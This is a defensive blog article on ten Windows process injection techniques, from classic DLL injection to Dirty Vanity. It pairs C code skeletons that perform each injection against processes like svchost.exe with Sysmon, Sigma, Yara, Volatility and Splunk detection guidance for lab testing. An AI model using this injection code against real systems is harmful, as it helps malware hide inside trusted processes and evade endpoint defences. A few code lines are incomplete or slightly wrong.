Top 10 Windows Process Injection Techniques: Detection and Analysis

19 August 2025 | 17 min read | justruss.tech

Process injection is one of the most common post-exploitation techniques in use. Attackers inject code into legitimate processes to hide malicious execution, bypass application whitelisting, and evade endpoint detection that focuses on process trees rather than memory. Understanding each technique in depth is a prerequisite for building detection that actually works rather than detection that just looks good on a dashboard.

This covers all ten major injection techniques with how they work at the API level, why adversaries choose each one, working code samples for detection testing in your own lab, and the specific telemetry each technique generates.

1. Classic DLL Injection

The oldest and most well-documented technique. An attacker opens a handle to the target process, allocates memory inside it, writes a DLL path into that memory, then creates a remote thread pointing at LoadLibraryA with that path as the argument. Windows loads the DLL into the target process as if the process had loaded it legitimately.

Why adversaries use it: Simple, well-understood, and the injected DLL benefits from the trust of the host process. Useful for injecting into trusted processes like explorer.exe or svchost.exe to hide activity.

// Classic DLL injection (detection lab test - inject into notepad.exe)
DWORD target_pid = GetProcessIdByName("notepad.exe");
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);

// Allocate memory in the remote process for the DLL path
LPVOID pRemoteMem = VirtualAllocEx(hProc, NULL, strlen(dll_path) + 1,
                                    MEM_COMMIT, PAGE_READWRITE);

// Write the DLL path into the remote process
WriteProcessMemory(hProc, pRemoteMem, dll_path, strlen(dll_path) + 1, NULL);

// Get the address of LoadLibraryA in kernel32.dll (same in every process)
LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)
    GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

// Create a thread in the remote process that calls LoadLibraryA
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, pLoadLibrary,
                                     pRemoteMem, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

What detection looks like:

Sysmon Event ID 8 (CreateRemoteThread) fires when CreateRemoteThread is called. Sysmon Event ID 10 (ProcessAccess) fires when OpenProcess is called against the target. The access mask on the OpenProcess call is the key field: PROCESS_ALL_ACCESS (0x1fffff) or at minimum PROCESS_VM_WRITE (0x0020) combined with PROCESS_CREATE_THREAD (0x0002) is required and should not be coming from unexpected processes.

// Sigma rule for classic DLL injection detection
title: Remote Thread Creation From Unexpected Process
logsource:
    product: windows
    category: create_remote_thread
detection:
    selection:
        SourceImage|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\mshta.exe'
    filter_legit:
        TargetImage|startswith:
            - 'C:\Windows\System32\'
    condition: selection and not filter_legit
level: high

2. Process Hollowing

Create a new instance of a legitimate process in suspended state, unmap its executable image from memory using NtUnmapViewOfSection, write malicious code into the now-empty address space, update the entry point in the thread context to point at the malicious code, then resume the thread. The process shows the legitimate binary path in task manager but executes attacker code.

Why adversaries use it: The process appears completely legitimate in any tool that checks process names and binary paths. The Windows process list, Sysinternals Process Explorer, and most EDR process inventory views will show the legitimate process name. It is commonly used to impersonate security-critical processes like svchost.exe or services.exe.

// Process hollowing detection test
// Step 1: Create target process suspended
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
CreateProcess("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
              FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// Step 2: Unmap the legitimate image
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)
    GetProcAddress(GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection");

PVOID pImageBase = (PVOID)((PPEB)pi.PebBaseAddress)->ImageBaseAddress;
NtUnmapViewOfSection(pi.hProcess, pImageBase);

// Step 3: Allocate space and write malicious PE
LPVOID pNewBase = VirtualAllocEx(pi.hProcess, pImageBase, malicious_size,
                                  MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pNewBase, malicious_image, malicious_size, NULL);

// Step 4: Fix up entry point and resume
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)pNewBase + entry_point_rva;  // x64
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

Detection: Sysmon Event ID 10 with PROCESS_VM_WRITE access against a process that was also created with CREATE_SUSPENDED is the key correlation. The NtUnmapViewOfSection call followed immediately by VirtualAllocEx and WriteProcessMemory on the same process is detectable via Sysmon Event ID 8 and Event ID 10 sequencing. A process whose image in memory does not match the file on disk is a strong malfind indicator.

// Volatility detection post-mortem
vol -f memory.raw windows.malfind --pid [suspicious_pid]
// Look for: MZ header in RWX region with no disk-backed file

// PsList vs DLLList comparison for detection
vol -f memory.raw windows.dlllist --pid [suspicious_pid]
// If the main module path does not match what pslist shows, hollowing occurred

3. Process Doppelganging

Uses Windows NTFS transactions to write a malicious file to disk, map it as an executable image before the transaction commits, then roll back the transaction so the file never actually appears on disk. Windows creates the process from the transacted file handle. The process runs legitimate-looking code according to any file-based scan but the mapped image in memory is malicious.

Why adversaries use it: Defeats file-based AV and forensic tools that scan files on disk because the file never commits. The process creation event shows a path to a legitimate-looking file that does not exist. Specifically designed to defeat the generation of EDR products that appeared after process hollowing became well-detected.

// Doppelganging detection test
// Requires: Windows API (TxF - Transactional NTFS)

// Create a transaction
HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);

// Open a file within the transaction context
HANDLE hTransFile = CreateFileTransacted(
    "C:\\Windows\\System32\\svchost.exe",  // path to overwrite
    GENERIC_WRITE | GENERIC_READ,
    0, NULL, OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL, NULL,
    hTransaction, NULL, NULL);

// Write malicious PE content to the transacted file
WriteFile(hTransFile, malicious_pe_data, malicious_pe_size, &written, NULL);

// Create a section from the transacted file (image not yet committed to disk)
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
                PAGE_READONLY, SEC_IMAGE, hTransFile);

// Rollback the transaction - file never commits to disk
RollbackTransaction(hTransaction);

// Create process from the section
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
                  GetCurrentProcess(), PS_INHERIT_HANDLES,
                  hSection, NULL, NULL, FALSE);

Detection: Standard process creation events fire but show a path that does not exist on disk. Sysmon Event ID 1 with an image path that fails a file existence check is the indicator. The Microsoft-Windows-Threat-Intelligence ETW provider captures the NtCreateProcessEx call with the transacted section, which is why ETWTI-capable EDR products detect this where Sysmon alone may not.

4. APC Injection

Asynchronous Procedure Calls are a Windows mechanism for queueing functions to execute in a thread when it enters an alertable state. QueueUserAPC lets you queue a function into a thread of another process. When that thread calls SleepEx, WaitForSingleObjectEx, or similar alertable wait functions, the queued function executes in the thread’s context.

Why adversaries use it: Avoids creating a remote thread (which Sysmon Event ID 8 catches directly). Execution happens inside an existing legitimate thread rather than a new one created by the attacker. Early bird APC injection (queueing before the main thread even starts) means the payload runs before most security software has initialised its hooks.

// Standard APC injection
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);

// Allocate shellcode space
LPVOID pShellcode = VirtualAllocEx(hProc, NULL, shellcode_len,
                                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pShellcode, shellcode, shellcode_len, NULL);

// Find a thread in the target process that will enter alertable state
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, target_thread_id);

// Queue the APC
QueueUserAPC((PAPCFUNC)pShellcode, hThread, 0);

// Early bird variant: queue before ResumeThread
// CreateProcess with CREATE_SUSPENDED
// QueueUserAPC on the main thread
// ResumeThread - first thing the thread does is execute the APC

Detection: Sysmon does not have a dedicated APC event but Event ID 10 (ProcessAccess) fires for the OpenProcess call with PROCESS_VM_WRITE access. The NtQueueApcThread syscall is visible in the Microsoft-Windows-Threat-Intelligence ETW provider. Behaviorally, a process that has shellcode in RWX memory it did not load from disk combined with unexpected network connections is a strong indicator regardless of the injection method.

5. Thread Hijacking

Open a handle to an existing thread in a remote process, suspend it with SuspendThread, get the thread context (which includes the instruction pointer), modify the instruction pointer to point at injected shellcode, then resume the thread. The hijacked thread executes the shellcode before continuing with whatever it was doing.

Why adversaries use it: Does not require creating a new thread, which avoids Sysmon Event ID 8 (CreateRemoteThread). Execution happens inside an existing legitimate thread. Shellcode typically saves and restores the original thread context to maintain stability, making the hijack transparent to the application running in the target process.

// Thread hijacking detection test
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, target_thread_id);
SuspendThread(hThread);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// Save original instruction pointer for restoration
DWORD64 original_rip = ctx.Rip;

// Allocate shellcode in the target process
HANDLE hProc = OpenThread... // get process handle from thread
LPVOID pShellcode = VirtualAllocEx(hProc, NULL, shellcode_len,
                                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pShellcode, shellcode, shellcode_len, NULL);

// Redirect the thread's instruction pointer
ctx.Rip = (DWORD64)pShellcode;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

Detection: Sysmon Event ID 10 fires for OpenThread with THREAD_ALL_ACCESS (0x1fffff) or THREAD_SET_CONTEXT (0x0010) access from an unexpected source. The sequence of SuspendThread followed by SetThreadContext on a thread owned by a different process is detectable via ETW kernel thread events. Memory scanning for RWX allocations in processes with no corresponding loaded module is the complementary indicator.

6. Reflective DLL Injection

A DLL containing its own bootstrap loader. Rather than relying on Windows LoadLibrary, the DLL includes a ReflectiveLoader export that manually maps the DLL into memory by parsing its own PE headers, resolving imports, and applying relocations. The result is a fully functional DLL loaded into the target process with no record in the process module list.

Why adversaries use it: The injected DLL never appears in the process module list because it was not loaded via the standard Windows loader. Process Explorer, ListDLLs, and similar tools that enumerate modules by walking the PEB loader data structures will not see it. Commonly used as the injection mechanism for Meterpreter and Cobalt Strike payloads.

// Detection: Scan for PE headers in executable memory with no backing file
// Volatility malfind plugin does this automatically

vol -f memory.raw windows.malfind
// Look for output like:
// Process: explorer.exe  Pid: 1234
// Address: 0x400000
// Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
// 4d 5a 90 00 03 00 00 00  MZ......
// This is a PE file loaded into RWX memory with no disk-backed file

// Yara rule to scan live processes for reflectively loaded PEs
rule ReflectiveLoader_Memory {
    meta:
        description = "Detects potential reflective DLL loading in process memory"
    strings:
        $mz = { 4D 5A }
        $reflective_export = "ReflectiveLoader" ascii
        $pe_sig = { 50 45 00 00 }
    condition:
        $mz at 0 and $pe_sig and $reflective_export
}

Detection: Malfind is the primary tool. Memory regions with execute permissions containing a PE header but with no corresponding disk file and no entry in the process module list. Sysmon Event ID 10 still fires for the OpenProcess call used to write the initial shellcode. The ReflectiveLoader function itself has a recognisable byte signature that Yara can detect in memory scans.

7. Process Ghosting

A variant of doppelganging that works on Windows 10 version 1909 and later. Instead of using transacted NTFS, it deletes a file immediately after opening a handle to it. Windows allows a file to be mapped as an image from a delete-pending handle, and the resulting process image has no on-disk backing even though it was created through normal file system operations.

Why adversaries use it: The mapped image cannot be read back from disk by security tools trying to scan the file because the file has been deleted. AV products that try to scan the process image by reading the backing file get access denied or file not found. Specifically designed to defeat the defensive improvements that followed doppelganging detection.

// Ghosting detection test
// Create temporary file
HANDLE hFile = CreateFile("C:\\Temp\\ghost.exe", GENERIC_WRITE | GENERIC_READ | DELETE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                           NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

// Write malicious PE content
WriteFile(hFile, malicious_pe, pe_size, &written, NULL);

// Mark file for deletion while keeping handle open
FILE_DISPOSITION_INFO fdi = {TRUE};
SetFileInformationByHandle(hFile, FileDispositionInfo, &fdi, sizeof(fdi));

// Create a section from the delete-pending file
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
                PAGE_READONLY, SEC_IMAGE, hFile);

// Close the file handle - file is deleted from disk now
CloseHandle(hFile);

// Create process from the section
// The process has no backing file on disk

Detection: Same ETW-based detection as doppelganging. Process creation events pointing to a path that immediately resolves to a non-existent file. Microsoft-Windows-Threat-Intelligence ETW provider captures the image mapping from a delete-pending file handle. Kernel-level EDR drivers that hook NtCreateSection with SEC_IMAGE see this regardless of the file deletion trick.

8. Atom Bombing

Abuses the Windows Atom Table, a system-wide string storage mechanism. The attacker stores shellcode in the global atom table (which any process can read), then forces the target process to retrieve and execute it. The execution is triggered by injecting an APC into a thread of the target process that calls GlobalGetAtomName, which reads the shellcode from the atom table into the thread’s stack, followed by a call to a ROP chain that makes the stack executable and executes the shellcode.

Why adversaries use it: The shellcode never needs to be written directly into the target process memory with WriteProcessMemory. It goes through a legitimate system API (GlobalGetAtomName). Older security products that monitored WriteProcessMemory as the key injection indicator would miss this entirely.

// Atom bombing detection test
// Store shellcode in global atom table
char* encoded_shellcode = EncodeShellcode(shellcode, shellcode_len);
ATOM atom = GlobalAddAtom(encoded_shellcode);

// Force target process to retrieve shellcode via APC
// The APC calls: GlobalGetAtomName(atom, buffer, buffer_size)
// This copies shellcode from atom table into target process stack/heap
// Followed by a ROP gadget to mark it executable and execute

// Detection: Monitor GlobalAddAtom calls with unusually large or binary-like data
// ETW Microsoft-Windows-Win32k provider covers atom table operations

Detection: Monitoring atom table operations for large additions containing binary-like data (non-printable characters, high entropy) is the key indicator. The subsequent APC injection still generates Sysmon Event ID 10. Sysmon Event ID 8 may fire depending on how the APC is queued. The Microsoft-Windows-Win32k ETW provider covers atom table operations at the kernel level.

9. Module Stomping (Overloading)

Load a legitimate DLL into the target process (or find one already loaded), overwrite its executable memory with shellcode, then redirect execution to the overwritten region. The shellcode runs in memory that appears to belong to a legitimate, signed DLL rather than an anonymous allocation. Also called DLL overloading or module overwriting.

Why adversaries use it: Bypasses security tools that look for executable memory with no associated legitimate module. The shellcode occupies memory that is attributed to a signed, legitimate DLL. Tools like Sysmon malfind that look for PE headers in anonymous allocations will not flag this because the memory is attributed to a known module. The backing file on disk is still the legitimate DLL even though the memory contents have been replaced.

// Module stomping detection test
// Load a rarely-used legitimate DLL into the target process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);

// Inject the legitimate DLL via classic injection first
// (to get a legitimate module loaded that we can then stomp)
LPVOID pRemote = VirtualAllocEx(hProc, NULL, strlen(decoy_dll) + 1,
                                 MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, pRemote, decoy_dll, strlen(decoy_dll) + 1, NULL);
HANDLE hLoadThread = CreateRemoteThread(hProc, NULL, 0, pLoadLibrary,
                                         pRemote, 0, NULL);
WaitForSingleObject(hLoadThread, INFINITE);

// Get base address of the loaded decoy DLL in the target
// ... enumerate modules to find it ...

// Overwrite the decoy DLL's .text section with shellcode
WriteProcessMemory(hProc, decoy_base_plus_text_offset,
                   shellcode, shellcode_len, NULL);

Detection: The hash of executable memory regions attributed to known modules should match the hash of those modules on disk. Any mismatch indicates stomping. Volatility’s windows.dlllist combined with extracting and hashing each module’s .text section against the on-disk version surfaces this. Sysmon Event ID 7 (ImageLoaded) shows when the decoy DLL is loaded. The sequence of loading an obscure system DLL immediately followed by WriteProcessMemory access to the same process is detectable via Sysmon Event ID 10.

// Detection script: hash all loaded module .text sections against disk
python3 << EOF
import pefile, hashlib, subprocess, json

# Get loaded modules and their base addresses from Volatility
result = subprocess.run(
    ["vol", "-f", "memory.raw", "windows.dlllist", "--pid", "1234", "--json"],
    capture_output=True, text=True)
modules = json.loads(result.stdout)

for mod in modules:
    disk_path = mod["MappedPath"]
    try:
        pe = pefile.PE(disk_path)
        for section in pe.sections:
            if section.Name.strip(b'\x00') == b'.text':
                disk_hash = hashlib.sha256(section.get_data()).hexdigest()
                # Compare against memory extraction
                # Mismatch = module stomping
                print(f"{disk_path}: .text hash = {disk_hash}")
    except:
        pass
EOF

10. Dirty Vanity

A technique disclosed in 2022 that abuses the Windows clone process functionality. NtCreateProcessEx can be called with the PS_INHERIT_HANDLES flag to create a clone of the current process. The clone shares virtual address space with the parent at creation time. An attacker creates a clone of a legitimate process, writes shellcode into a shared memory region, then uses the clone’s execution to run the shellcode while the legitimate parent process continues running normally.

Why adversaries use it: The cloned process is a legitimate copy of the target process with a valid process ID and all the same process attributes. It bypasses security tools that check process creation context because the clone appears to have been created legitimately. The shared memory mapping means shellcode can be placed without a WriteProcessMemory call from a different process, evading some cross-process memory monitoring.

// Dirty vanity detection test (Windows 10+ only)
// Create a fork/clone of a target process
HANDLE hTargetProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);

HANDLE hClone;
// NtCreateProcessEx with hTargetProc as the parent
// PS_INHERIT_HANDLES = 0x4
// This creates a clone sharing the virtual address space

// Allocate memory in the cloned process
LPVOID pShellcode = VirtualAllocEx(hClone, NULL, shellcode_len,
                                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hClone, pShellcode, shellcode, shellcode_len, NULL);

// Create thread in the clone to execute shellcode
CreateRemoteThread(hClone, NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode,
                   NULL, 0, NULL);

Detection: NtCreateProcessEx calls with PS_INHERIT_HANDLES where the parent handle refers to a process other than the current process are highly suspicious. The Microsoft-Windows-Threat-Intelligence ETW provider captures process cloning operations. Sysmon Event ID 10 fires for the OpenProcess call on the target. Process creation events showing a new process with the same image path as an already-running process but created through NtCreateProcessEx rather than CreateProcess warrant investigation.

Building a detection test lab

To test your detection coverage against all ten techniques, set up a Windows 10 VM with Sysmon, Elastic Agent, and Process Monitor running. Use a sacrificial notepad.exe or calc.exe as the injection target. Run each technique against the target and verify which Sysmon events fire, which ETW events are captured, and which are visible in your SIEM. Document the gaps. The techniques that produce no telemetry in your environment are the ones you need to address with additional monitoring layers.

// Detection coverage matrix query in Splunk
// After running each technique, check which fired
index=sysmon earliest=-1h
| stats count by EventCode, SourceImage, TargetImage
| where TargetImage="*notepad*" OR TargetImage="*calc*"
| eval technique=case(
    EventCode=8, "RemoteThread (techniques 1,4,5,10)",
    EventCode=10, "ProcessAccess (all techniques)",
    EventCode=7, "ImageLoad (technique 6,9)",
    EventCode=1, "ProcessCreate (techniques 2,3,7)"
  )
| table technique, EventCode, count

No single detection layer catches all ten techniques. Sysmon Event ID 10 covers most of them because all require opening a handle to the target process or thread. The gaps are in techniques that avoid CreateRemoteThread (no Event ID 8) and use indirect shellcode delivery (atom bombing, dirty vanity). Filling those gaps requires the Microsoft-Windows-Threat-Intelligence ETW provider, which means either a commercial EDR with a kernel driver or a custom kernel driver consuming ETWTI directly.